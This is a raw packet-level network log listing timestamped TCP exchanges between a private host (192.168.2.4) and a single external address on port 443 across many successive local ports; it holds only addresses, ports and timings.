Nov 26, 2024 00:09:33.474176884 CET	49960	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.474212885 CET	443	49960	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.474879026 CET	49960	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.474891901 CET	443	49960	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.616785049 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.620085001 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.620115995 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.620187998 CET	49959	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.620188951 CET	49959	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.620301008 CET	49959	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.620301008 CET	49959	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.620347023 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.620389938 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.626616955 CET	49964	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.626646042 CET	443	49964	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.626780987 CET	49964	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.626938105 CET	49964	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.626949072 CET	443	49964	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.874877930 CET	443	49961	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.875432014 CET	49961	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.875477076 CET	443	49961	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.876076937 CET	49961	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.876092911 CET	443	49961	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.908853054 CET	443	49960	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.912038088 CET	443	49960	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.912158966 CET	49960	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.912297964 CET	49960	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.912309885 CET	443	49960	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.912319899 CET	49960	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.912326097 CET	443	49960	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.918606043 CET	49965	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.918632984 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.918752909 CET	49965	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.918970108 CET	49965	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.918981075 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:34.376841068 CET	443	49961	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:34.377002954 CET	443	49961	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:34.377129078 CET	49961	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:34.377470016 CET	49961	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:34.377470016 CET	49961	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:34.377517939 CET	443	49961	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:34.377561092 CET	443	49961	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:34.380873919 CET	49966	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:34.380889893 CET	443	49966	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:34.381376028 CET	49966	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:34.381474972 CET	49966	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:34.381484985 CET	443	49966	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:34.578874111 CET	443	49962	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:34.579446077 CET	49962	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:34.579463959 CET	443	49962	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:34.580115080 CET	49962	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:34.580120087 CET	443	49962	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.022658110 CET	443	49962	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.025614977 CET	443	49962	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.025736094 CET	443	49962	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.025810957 CET	49962	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.025892973 CET	49962	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.025892973 CET	49962	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.026604891 CET	49962	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.026617050 CET	443	49962	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.028301954 CET	49967	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.028321981 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.028388977 CET	49967	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.028518915 CET	49967	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.028533936 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.144398928 CET	443	49963	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.144968033 CET	49963	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.145020962 CET	443	49963	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.145406008 CET	49963	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.145418882 CET	443	49963	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.341351986 CET	443	49964	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.341881990 CET	49964	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.341892958 CET	443	49964	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.342437029 CET	49964	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.342442036 CET	443	49964	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.588691950 CET	443	49963	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.592082024 CET	443	49963	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.592780113 CET	49963	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.592858076 CET	49963	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.592859030 CET	49963	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.592902899 CET	443	49963	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.592927933 CET	443	49963	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.595437050 CET	49968	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.595485926 CET	443	49968	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.595653057 CET	49968	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.596930027 CET	49968	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.596961021 CET	443	49968	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.764389992 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.767030001 CET	49965	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.767047882 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.770606041 CET	49965	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.770610094 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.788122892 CET	443	49964	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.788165092 CET	443	49964	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.788373947 CET	49964	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.788373947 CET	49964	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.788431883 CET	49964	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.788441896 CET	443	49964	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.791002989 CET	49969	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.791030884 CET	443	49969	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:35.791116953 CET	49969	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.791301966 CET	49969	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:35.791316032 CET	443	49969	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:36.182008028 CET	443	49966	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:36.183052063 CET	49966	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:36.183062077 CET	443	49966	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:36.183559895 CET	49966	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:36.183564901 CET	443	49966	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:36.230454922 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:36.233616114 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:36.233660936 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:36.233859062 CET	49965	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:36.233918905 CET	49965	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:36.233918905 CET	49965	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:36.233930111 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:36.233937979 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:36.236423969 CET	49970	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:36.236490011 CET	443	49970	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:36.236706972 CET	49970	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:36.237241983 CET	49970	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:36.237287998 CET	443	49970	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:36.626557112 CET	443	49966	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:36.626698017 CET	443	49966	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:36.626754045 CET	49966	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:36.626921892 CET	49966	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:36.626933098 CET	443	49966	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:36.626955032 CET	49966	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:36.626959085 CET	443	49966	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:36.630290031 CET	49971	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:36.630319118 CET	443	49971	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:36.630378008 CET	49971	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:36.630532026 CET	49971	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:36.630542040 CET	443	49971	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:36.760113001 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:36.760633945 CET	49967	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:36.760646105 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:36.761251926 CET	49967	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:36.761256933 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:37.194694996 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:37.197875977 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:37.197912931 CET	49967	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:37.197922945 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:37.197942972 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:37.198043108 CET	49967	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:37.198043108 CET	49967	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:37.198080063 CET	49967	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:37.198085070 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:37.201543093 CET	49972	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:37.201560974 CET	443	49972	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:37.201639891 CET	49972	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:37.201788902 CET	49972	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:37.201800108 CET	443	49972	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:37.401824951 CET	443	49968	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:37.402228117 CET	49968	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:37.402261972 CET	443	49968	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:37.402775049 CET	49968	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:37.402781010 CET	443	49968	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:37.572546959 CET	443	49969	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:37.575448036 CET	49969	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:37.575448036 CET	49969	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:37.575469017 CET	443	49969	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:37.575479984 CET	443	49969	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:37.846582890 CET	443	49968	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:37.846916914 CET	443	49968	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:37.850658894 CET	49968	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:37.850780010 CET	49968	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:37.850801945 CET	443	49968	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:37.850825071 CET	49968	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:37.850831985 CET	443	49968	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:37.854610920 CET	49973	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:37.854638100 CET	443	49973	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:37.855693102 CET	49973	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:37.856049061 CET	49973	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:37.856057882 CET	443	49973	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.040194988 CET	443	49970	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.041043997 CET	49970	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.041043997 CET	49970	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.041065931 CET	443	49970	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.041090965 CET	443	49970	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.143280983 CET	443	49969	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.143517971 CET	443	49969	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.143618107 CET	49969	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.146761894 CET	49969	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.146771908 CET	443	49969	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.146805048 CET	49969	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.146809101 CET	443	49969	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.150614977 CET	49974	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.150629044 CET	443	49974	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.150829077 CET	49974	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.151042938 CET	49974	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.151051998 CET	443	49974	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.424380064 CET	443	49971	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.425350904 CET	49971	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.425350904 CET	49971	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.425367117 CET	443	49971	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.425374985 CET	443	49971	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.484069109 CET	443	49970	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.487579107 CET	443	49970	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.487634897 CET	443	49970	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.491105080 CET	49970	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.491358042 CET	49970	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.491358042 CET	49970	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.491381884 CET	443	49970	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.491393089 CET	443	49970	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.494611979 CET	49975	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.494626045 CET	443	49975	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.494699955 CET	49975	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.494869947 CET	49975	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.494880915 CET	443	49975	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.868578911 CET	443	49971	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.871612072 CET	443	49971	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.871665955 CET	49971	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.871689081 CET	49971	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.871699095 CET	443	49971	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.871710062 CET	49971	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.871714115 CET	443	49971	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.875221968 CET	49976	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.875253916 CET	443	49976	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.875303984 CET	49976	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.875458002 CET	49976	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.875472069 CET	443	49976	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.981955051 CET	443	49972	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.982464075 CET	49972	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.982500076 CET	443	49972	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:38.983144999 CET	49972	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:38.983150005 CET	443	49972	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:39.427108049 CET	443	49972	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:39.430169106 CET	443	49972	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:39.430250883 CET	49972	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:39.430305004 CET	49972	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:39.430318117 CET	443	49972	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:39.430327892 CET	49972	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:39.430331945 CET	443	49972	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:39.432645082 CET	49977	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:39.432674885 CET	443	49977	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:39.432745934 CET	49977	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:39.432878971 CET	49977	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:39.432892084 CET	443	49977	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:39.699069023 CET	443	49973	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:39.699573040 CET	49973	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:39.699589014 CET	443	49973	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:39.702620983 CET	49973	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:39.702625990 CET	443	49973	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:39.894062996 CET	443	49974	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:39.894603014 CET	49974	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:39.894612074 CET	443	49974	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:39.896011114 CET	49974	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:39.896014929 CET	443	49974	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.152791023 CET	443	49973	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.152968884 CET	443	49973	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.153002977 CET	443	49973	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.153096914 CET	49973	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.153096914 CET	49973	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.153146982 CET	49973	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.153158903 CET	443	49973	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.155881882 CET	49978	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.155917883 CET	443	49978	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.156081915 CET	49978	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.156148911 CET	49978	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.156167030 CET	443	49978	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.275782108 CET	443	49975	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.276262999 CET	49975	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.276283026 CET	443	49975	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.278614998 CET	49975	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.278620005 CET	443	49975	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.329680920 CET	443	49974	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.332815886 CET	443	49974	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.332916021 CET	49974	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.332916021 CET	49974	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.332946062 CET	49974	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.332961082 CET	443	49974	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.335495949 CET	49979	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.335525036 CET	443	49979	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.335692883 CET	49979	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.338613987 CET	49979	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.338623047 CET	443	49979	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.675719023 CET	443	49976	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.676266909 CET	49976	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.676294088 CET	443	49976	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.676810026 CET	49976	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.676816940 CET	443	49976	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.728451014 CET	443	49975	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.731431007 CET	443	49975	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.731471062 CET	49975	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.731475115 CET	443	49975	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.731528044 CET	49975	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.731609106 CET	49975	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.731621981 CET	443	49975	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.731631041 CET	49975	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.731635094 CET	443	49975	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.735016108 CET	49980	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.735109091 CET	443	49980	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:40.735191107 CET	49980	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.735363007 CET	49980	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:40.735399961 CET	443	49980	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:41.119256020 CET	443	49976	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:41.122926950 CET	443	49976	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:41.123008013 CET	49976	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:41.123101950 CET	49976	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:41.123121977 CET	443	49976	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:41.123135090 CET	49976	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:41.123141050 CET	443	49976	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:41.125581980 CET	49981	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:41.125614882 CET	443	49981	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:41.125684023 CET	49981	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:41.125814915 CET	49981	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:41.125825882 CET	443	49981	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:41.206346035 CET	443	49977	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:41.206754923 CET	49977	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:41.206777096 CET	443	49977	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:41.207206011 CET	49977	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:41.207211971 CET	443	49977	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:41.646689892 CET	443	49977	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:41.650032043 CET	443	49977	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:41.650170088 CET	49977	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:41.650366068 CET	49977	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:41.650366068 CET	49977	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:41.650377989 CET	443	49977	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:41.650384903 CET	443	49977	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:41.654614925 CET	49982	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:41.654664993 CET	443	49982	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:41.654892921 CET	49982	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:41.655008078 CET	49982	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:41.655025959 CET	443	49982	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:41.947817087 CET	443	49978	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:41.948863983 CET	49978	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:41.948863983 CET	49978	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:41.948883057 CET	443	49978	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:41.948900938 CET	443	49978	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.138596058 CET	443	49979	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.139153957 CET	49979	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.139170885 CET	443	49979	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.139682055 CET	49979	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.139684916 CET	443	49979	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.392874956 CET	443	49978	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.395983934 CET	443	49978	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.396048069 CET	49978	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.396140099 CET	49978	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.396158934 CET	443	49978	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.396186113 CET	49978	443	192.168.2.4	13.107.246.63
